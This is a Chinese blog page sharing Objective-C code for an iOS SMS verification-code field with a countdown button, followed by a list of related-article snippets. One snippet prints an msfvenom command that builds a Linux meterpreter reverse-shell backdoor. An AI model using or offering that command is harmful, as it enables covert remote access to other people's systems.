---恢复内容开始---

1.RootViewControler
//  Copyright © 2016年 Chason. All rights reserved.
//

#import "ViewController.h"
#import "MessageCordView.h"
//手机屏幕的宽和高
#define kScreenWidth [UIScreen mainScreen].bounds.size.width
#define KScreenHeight [UIScreen mainScreen].bounds.size.height
@interface ViewController ()

@end

@implementation ViewController

- (void)viewDidLoad {
    [super viewDidLoad];
    self.view.backgroundColor = [UIColor groupTableViewBackgroundColor];
    MessageCordView *coreView = [[MessageCordView alloc] initWithFrame:CGRectMake(0, 200, kScreenWidth,50)];
    [self.view addSubview:coreView];
}

- (void)didReceiveMemoryWarning {
    [super didReceiveMemoryWarning];
    // Dispose of any resources that can be recreated.
}

@end

2.封装带输入框的短信验证码

//  Copyright © 2016年 Chason. All rights reserved.
//

#import <UIKit/UIKit.h>

@interface MessageCordView : UIView
@property (nonatomic, strong) UITextField *rechargeField;
@property (nonatomic, strong) UIButton *button;
@property (nonatomic, strong) UILabel *label;
@property (nonatomic, strong) NSTimer *timer;
@end

//  Copyright © 2016年 Chason. All rights reserved.
//

#import "MessageCordView.h"
#import "myView.h"
//手机屏幕的宽和高
#define kScreenWidth [UIScreen mainScreen].bounds.size.width
#define KScreenHeight [UIScreen mainScreen].bounds.size.height
static int countDownTime = 60;
@implementation MessageCordView

- (instancetype)initWithFrame:(CGRect)frame
{
    self = [super initWithFrame:frame];
    if (self) {
       
        UIView *rechargeView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, frame.size.width, frame.size.height)];
        rechargeView.backgroundColor = [UIColor whiteColor];
        [self addSubview:rechargeView];
        
        UILabel *rechargeMoney = [[UILabel alloc] initWithFrame:CGRectMake(15, 10, 100, frame.size.height - 20)];
        rechargeMoney.font = [UIFont systemFontOfSize:16];
        rechargeMoney.textColor = [UIColor grayColor];
        rechargeMoney.text = @"验证码";
        rechargeMoney.font = [UIFont systemFontOfSize:20];
        [rechargeView addSubview:rechargeMoney];
        
        _rechargeField = [[UITextField alloc] initWithFrame:CGRectMake(110, 10, frame.size.width - 230, frame.size.height - 20)];
        _rechargeField.clearButtonMode = UITextFieldViewModeWhileEditing;
        _rechargeField.placeholder = @"请输入验证码";
        _rechargeField.borderStyle = UITextBorderStyleNone;
        [rechargeView addSubview:_rechargeField];

_button = [myView creatButtonWithFrame:CGRectMake(frame.size.width - 105, 5, 90, frame.size.height - 10) title:@"获取验证码" tag:1000 tintColor:[UIColor whiteColor] backgroundColor:[UIColor colorWithRed:18/255.0  green:129/255.0  blue:201/255.0 alpha:1]];
        _button.layer.cornerRadius = 10;
        _button.font = [UIFont systemFontOfSize:14];
        [_button addTarget:self action:@selector(getVerificationCode) forControlEvents:UIControlEventTouchUpInside];
        [rechargeView addSubview:_button];
    }
    return self;
}

- (void)getVerificationCode
{
    _label = [[UILabel alloc]initWithFrame:self.button.bounds];
    
    _timer = [[NSTimer alloc]init];
    _timer= [NSTimer scheduledTimerWithTimeInterval:1 target:self selector:@selector(countDown) userInfo:nil repeats:YES];
    [_timer setFireDate:[NSDate distantPast]];
    //请求服务器发送短信验证码
    //......
}

- (void)countDown
{
    countDownTime--;
    if (countDownTime<=0||countDownTime ==60) {
        _label.hidden = YES;
        _button.hidden = NO;
        _button.userInteractionEnabled = YES;
        [_timer setFireDate:[NSDate distantFuture]];
        countDownTime =60;
    }else{
        _label.hidden = NO;
        _label.text = [NSString stringWithFormat:@"(%ds)重新获取",countDownTime];
        _label.font = [UIFont systemFontOfSize:12];
        _label.backgroundColor = [UIColor colorWithRed:18/255.0  green:129/255.0  blue:201/255.0 alpha:1];
        _label.layer.cornerRadius = 8;
        _label.clipsToBounds = YES;
        _label.textAlignment = NSTextAlignmentCenter;
        _label.textColor= [UIColor whiteColor];
        [_button addSubview:_label];
        _button.userInteractionEnabled = NO;
    }
}

@end

3.创建获取验证码button

#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
@interface myView : NSObject

+(UIButton *)creatButtonWithFrame:(CGRect)frame title:(NSString *)title tag:(NSInteger)tag tintColor:(UIColor *)tintColor backgroundColor:(UIColor *)backgroundColor;

@end

#import "myView.h"

@implementation myView

+(UIButton *)creatButtonWithFrame:(CGRect)frame title:(NSString *)title tag:(NSInteger)tag tintColor:(UIColor *)tintColor backgroundColor:(UIColor *)backgroundColor{
    UIButton *button = [UIButton buttonWithType:UIButtonTypeCustom];
    [button setTitle:title forState:UIControlStateNormal];
    button.tag = tag;
    button.backgroundColor  = backgroundColor;
    button.tintColor=  tintColor;
    button.frame = frame;
    [button setTitleColor:tintColor forState:UIControlStateNormal];
    return button;
}

@end

如果您觉得博文对您有帮助, 希望您能打发给博主一点茶水钱, 您的支持就是博主最大的动力!

---恢复内容结束---

iOS开发短信验证码封装 方便好用的更多相关文章

  1. iOS开发——短信验证码

    作为iOS开发者,大家都应该知道ShareSDK这个比较出名的第三方分享(带统计功能)开发工具包. 他的官网今年年初发布了短信验证码的SDK.本文介绍它的短信验证码SDK.(部分过程参考官网如何集成的 ...

  2. ios发送短信验证码计时器的swift实现

    转载自:http://www.jianshu.com/p/024dd2d6e6e6# Update: Xcode 8.2.1 Swift 3 先介绍一下 属性观测器(Property Observer ...

  3. iOS开发——自动填充短信验证码

    苹果在iOS 12,改进了一个很人性化的小细节.在做短信验证码功能的时候,自动获取短信中的验证码,然后点击填充即可.不用再向之前那样麻烦,自己看到弹出的短信信息后,死记硬背,再一个个敲上去,害怕背错了 ...

  4. iOS点击获取短信验证码按钮

    概述 iOS点击获取短信验证码按钮, 由于 Demo整体测试运行效果 , 整个修改密码界面都已展现, 并附送正则表达式及修改密码逻辑. 详细 代码下载:http://www.demodashi.com ...

  5. 云平台短信验证码通知短信java/php/.net开发实现

    一.本文目的 大部分平台都有一个接入发送短信验证码.通知短信的需求.虽然市场上大部分平台的接口都只是一个非常普通的HTTP-GET请求,但终归有需要学习和借鉴使用的朋友. 本文的初衷是主要提供学习便利 ...

  6. App开发(Android与php接口)之:短信验证码

    最近和同学们一起开发一个自主项目,要用到短信验证码,在网上搜索了很久,看到一个推荐贴,提到了很多不错的短信服务商.经过测试,帖子中提到的服务商他们的短信到达率和到达速度也都不错.最后,由于经费问题,我 ...

  7. iOS使用技能 - 短信,语言验证码的获取与验证小结

    最近有学习一个小技能,这里小结一下,分享给大家,互相交流. 首先是大体步骤: 在mob官网注册,然后添加短信验证的应用 使用cocoapods导入框架 Podfile文件: platform :ios ...

  8. flask开发restful api系列(5)-短信验证码

    我们现在开发app,注册用户的时候,不再像web一样,发送到个人邮箱了,毕竟个人邮箱在移动端填写验证都很麻烦,一般都采用短信验证码的方式.今天我们就讲讲这方面的内容. 首先,先找一个平台吧.我们公司找 ...

  9. Android开发之短信验证码示例

    在说Android中的短信验证码这个知识点前,我们首先来了解下聚合数据 聚合数据介绍 聚合数据是一家国内最大的基础数据API提供商,专业从事互联网数据服务.免费提供从天气查询.空气质量.地图坐标到金融 ...

随机推荐

  1. C语言数组截取常见问题

    这是一段数组截取的代码,函数功能是检查后面的'*'的数量,若多于指定输入数,则把多余的'*'删除 void fun( char *a,int n ) { char *p = a; while(*p) ...

  2. 评价指标1--F1值和MSE

    1,F1=2*(准确率*召回率)/(准确率+召回率) F1的值是精准率与召回率的调和平均数.F1的取值范围从0到1的数量越大,表明实现越理想. Precision(精准率)=TP/(TP+FP) Re ...

  3. JavaScript总结(七)

    JavaScript表单编程 表单是Web上与用户进行交互的主要界面.则我们需要掌握如何访问用户输入的表单数据,校验用户输入的正确性显得至关重要. ♞ 对Form元素进行脚本编写 ✍ 获取表单的应用 ...

  4. Codeforces 914 C 数位DP+暴力打表+思维

    题意 给出一个二进制数\(n\),每次操作可以将一个整数\(x\)简化为\(x\)的二进制表示中\(1\)的个数,如果一个数简化为\(1\)所需的最小次数为\(k\),将这个数叫做特殊的数, 问从\( ...

  5. 爬虫-设置代理ip

    1.为什么要设置代理ip 在学习Python爬虫的时候,经常会遇见所要爬取的网站采取了反爬取技术导致爬取失败.高强度.高效率地爬取网页信息常常会给网站服务器带来巨大压力,所以同一个IP反复爬取同一个网 ...

  6. msfvenom生成linux后门

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip  LPORT=port   -f elf > shell.elf

  7. Textarea的readonly问题

    textarea的readonly属性,不能用setAttribute方法设置,只能类似textarea.readOnly = true|false的写法. 原因: setAttribute只能设置一 ...

  8. 查找linux镜像源中的软件版本并进行安装

    输入以下代码进行软件查找 sudo apt-cache search YourSoftwareName 根据所得到的结果进行安装 sudo apt-get install YourSoftwareNa ...

  9. linux管道详解

    原文链接:http://blog.csdn.net/qq_38646470/article/details/79564392 符号表示 | 和管道特别形象. 作用:     管道是Linux中很重要的 ...

  10. hdu1272小希的迷宫(并查集判断回路和是否连通)

    传送门 迷宫中不能有回路,还要连通 如果最后集合数是一个那就是连通,否则不联通 要合并的两个顶点在相同集合内,表示出现了回路 输入时注意一下 #include<bits/stdc++.h> ...